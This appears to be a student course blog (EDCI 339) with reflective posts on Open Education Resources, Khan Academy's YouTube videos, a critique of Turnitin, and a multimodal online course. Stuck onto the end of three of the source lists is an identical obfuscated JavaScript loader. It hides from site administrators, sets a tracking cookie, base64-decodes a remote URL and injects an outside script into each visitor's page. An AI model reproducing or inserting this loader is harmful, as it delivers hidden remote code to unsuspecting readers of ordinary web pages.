Zeyuan’s EDCI 339

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Traditional learning has long been a teacher-centered, one-way process. In a classroom, the chairs are fixed in rows, wherein students face the teacher and absorb the information given to them. There are interactive activities, such as group work and peer discussions; however, the teacher still has the main responsibility of providing knowledge. Moreover, the materials in such an educational setting were limited to textbooks and printed materials. These were not only expensive, but their distribution and use were limited to those who had access to them.

This has changed with the rise of the internet and other technological learning tools. Learning is no longer a one-way process with the teacher in the center, but one that is increasingly inclusive and interactive. Students, especially young people, no longer need to sit in a classroom with four walls in order to learn. Instead, they can access the internet and explore a whole new world of endless information and knowledge. This has been taken further by the concept of Open Education Resources, or OER. According to Bronwyn Hegarty, a lecturer in tertiary education in Otago Polytechnic, Open Education Resources and Practices have changed the process of learning and teaching entirely. Moreover, according to her, such resources and practices are ways in which the creation and use of educational tools innovate and improve the quality of education. This is a departure from a more traditional approach to education, and follow a trajectory of a more dynamic and open learning process, both for the educator and the student.

One of the main elements of Open Education Resources is participation. This is a practice in which both the educator and the student are involved in the learning process. As mentioned earlier, this is not the traditional approach to education. Open Education Resources and Practices promote participation in numerous ways. First, the medium or platform on which such resources are found are available to all through the web. This means that a student who may not have access to the physical copy of a book in the school library may instead acquire an electronic copy. Access to educational material is increased and made available to all, simply because of the nature of the web. Moreover, access is not limited to those who are enrolled in a university or who can pay for a library membership. Instead, no matter where you are in the world, you are able to learn from electronic resources. Second, the dynamics of learning has also been changed. Instead of learning from one individual, students are able to engage in peer-to-peer learning. Opinions, which are definitely varied due to the different backgrounds students come from, are shared and discussed. These discussions will definitely be more insightful that one taking place in a physical classroom. Students can then build on different electronic resources, leading to even more fruitful insights. Of course, there is a danger in this, as most opinions may go unchecked. After all, there is no teacher to monitor the thoughts and opinions of learners, and check if they are still in logical. This, I think, is the downside of unlimited learning freedom.

Open Education Resources are changing the way we learn and teach. It comes with much benefit, but also some danger in the form on unchecked knowledge. However, when knowledge is made more accessible to everyone in the world, then it definitely has more benefits than harm.

Source:

Hegarty, Bronwyn. “Attributes of Open Pedagogy: A Model for Using Open Educational Resources.” Educational Technology, Volume 55, 4, 2015, pages 3 – 13.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

In the podcast “Can Khan Academy Scale to Educate Anyone, Anywhere?” Brian Kenny interviews Bill Sahlman regarding the case he wrote for the Harvard Business Review about Khan Academy, the online global education nonprofit organization whose founder, Sal Khan, says its mission is to “provide a free world-class education for anyone, anywhere.” Khan Academy, which started in 2006, seems to be on the right track to reach its goal, as it is now offering 40 subjects to 15 million monthly visitors from 190 different countries.

Kenny and Sahlman discuss one of the most important features of Khan Academy’s lessons, which is that they “chunk” educational material into videos that run a maximum of 10 minutes each. This is because YouTube, which was the original and still is the main social media platform that Khan Academy uses, originally had that as its maximum play length for videos. While Youtube has since increased their limit, Khan Academy still sticks to the 10-minute rule for their videos as it is incredibly helpful for learning. It accommodates the human brain’s limit for absorbing new information at one time, makes it easier to create educational videos, and create customized lesson plans around these videos. This has helped Khan Academy be one of the few online organizations that is embraced by public school systems, the US College Board, and students from around the world.

This is also the reason why Khan Academy was one of initial partners that YouTube announced for their new Learning Fund initiative. According to Dani Lee in The Verge, the Learning Fund is a $ 20 million program that YouTube is directing towards creators to improve and increase the educational content on the platform. Khan Academy is a trusted partner, meaning it will receive both funding and other support from YouTube to create educational videos that can be added to YouTube’s new Learning Playlist feature, which will be curated around topics such as math, science, music and language. This is especially useful both for people who want to learn on their own, and for educators who want to utilize YouTube videos in teaching their students.

However, there are downsides to Khan Academy’s usage of 10-minute videos on YouTube. Because they are an American company, these videos are primarily in English, often with subtitles available in other languages. However, these still render the videos inaccessible to the millions of learners around the world who do not speak English, particularly if they are unfortunate enough to not have subtitles available in their language. Also, being hosted on YouTube means that the learners become part of YouTube’s data algorithm monster. Their activity might be tracked, and be used to further tweak YouTube’s business practices to make it a more addictive platform. One of the bigger downsides of YouTube, which is its algorithm’s tendency to sometimes recommend videos that contain troubling, inaccurate, or otherwise problematic content while you’re watching videos about a topic, are mitigated by Khan Academy’s presence on the Learning Playlists, which will not have recommended videos or auto-play. I am also personally concerned if ads will be shown in these videos, or if they can be turned off. However, I am excited at what Khan Academy can achieve with their bigger platform and more resources.

Sources:

Kenny, B. & Sahlman, B. (2019, June 18). Can Khan Academy Scale to Educate Anyone, Anywhere? HBR Presents. Podcast retrieved from https://hbr.org/podcast/2019/06/can-khan-academy-scale-to-educate-anyone-anywhere

Lee, D. (2019, Jul. 11). YouTube is launching educational playlists that won’t include algorithmic recommendations. The Verge. Retrieved from https://www.theverge.com/2019/7/11/20690736/youtube-learning-playlists-algorithm-recommendations(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

I became very concerned after reading Sean Michael Morris and Jesse Stommel’s article “A Guide for Resisting Edtch: The Case Against Turnitin”, because they made me realize how unfair Turnitin’s business practices is. Turnitin is widely used in universities and colleges for detecting plagiarism in students’ writing. It does this by comparing student’s works to a database of previously submitted academic writings.

However, where the scam occurs is that most of the works in Turnitin’s database are works it acquired through its service. All the works students submit through Turnitin automatically become the company’s property, and thus part of its database. Students are essentially paying Turnitin to steal their work. Turnitin gets paid twice – by the students who are subscribing to submit their work to the database, and by the instructors who use that same database to look for plagiarism in the work submitted by their students. In a way, students are paying to both get caught for doing plagiarism, and to help their teachers catch their classmates doing plagiarism. It’s an especially evil form of plagiarism, when you think about it. The closest analogy I could think of is of pigs paying the butcher to slaughter them and their friends and family.

Another metaphor that came to me is the mafia. Turnitin acts like a protection racket, where people need to pay or else they will be hurt. In this case, students pay to subscribe to Turnitin in order to prove to their instructors that they are not plagiarizing. In most cases, students do not have the choice to opt out of paying to subscribe to Turnitin, or to have their work included in Turnitin’s database. To choose not to do so would automatically brand a student a plagiarist in the eyes of their school. I think it’s especially tragic because it makes it so that students are presumed guilty until proven innocent. This is opposite of how criminals are supposed to be treated by the justice system, so the fact that this is how colleges treat their students, who are their playing clients, means that colleges and universities treat their students worse than the criminal justice system treats suspected criminals.

I agree with Morris and Stommel’s call for action at the end. It is time for educators to critically examine the role Turnitin plays in today’s educational system. Students need to stop accepting the presence of Turnitin as a fact of life, and need to inform their instructors and school administrators that they are being victimized by the company, and that either Turnitin changes its business practices or lose the patronage of their school. Most importantly, teachers need to start teaching again, not just letting a big data company do their job for them at the cost of their students’ intellectual property.

Source: Morris, S. M., & Stommel, J. (2018). A Guide for Resisting Edtech: The Case Against Turnitin. An Urgency of Teachers. Hybrid Pedagogy Inc. https://criticaldigitalpedagogy.pressbooks.com/chapter/a-guide-for-resisting-edtech-the-case-against-turnitin/(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

After reading about the different modalities of online learning in Claire Major’s book, I was interested to see how these methods are applied in real life. Hence, when I began to read the part which presented different practical and real-life applications of multi-modal learning, I was happy that these learning tools were really utilized in the university system.

One example given was an online course entitled “Technology in Higher Education”, taught by Associate Professor J. Patrick Biddix of the University of Tennessee. The modalities of the course are as follows: enrollment is closed, it is completely online, the timing is asynchronous, the platform is do-it-yourself, and the pathway is decentralized. Moreover, he used at least three online tools to fulfill the learning objectives of the course.

The first tool was Blogger, which is essentially a personal blogsite. According to the professor, Blogger had all the necessary elements of an online learning tool, such as privacy, multiple contributors, widgets, and the possibility of discussions amongst other class members. It was through these features of Blogger that the professor was able to upload all the materials needed for the course, like the syllabus, readings, alerts, and a calendar.

Other tools that were used for this course were Coursera or Khan Academy. Discussion assignments revolved around these two tools, as students were required to explore certain topics and report on them by means of a review in their own blogs. A similar tool was Prezi, wherein students were asked to summarize their learning in a video or presentation.

In the end, the students were able to reach their learning objectives. Moreover, the course was conducted in an efficient and stress-free way, as the class never had to meet in person, and communicating assignments and tasks to the class was done solely online. This not only allowed students to learn in their own pace, but also allowed them to explore other online materials that may have helped foster more learning.

 

Source: Major, C. H. (2015). Teaching online: A guide to theory, research, and practice. Baltimore, Maryland: Johns Hopkins University Press.

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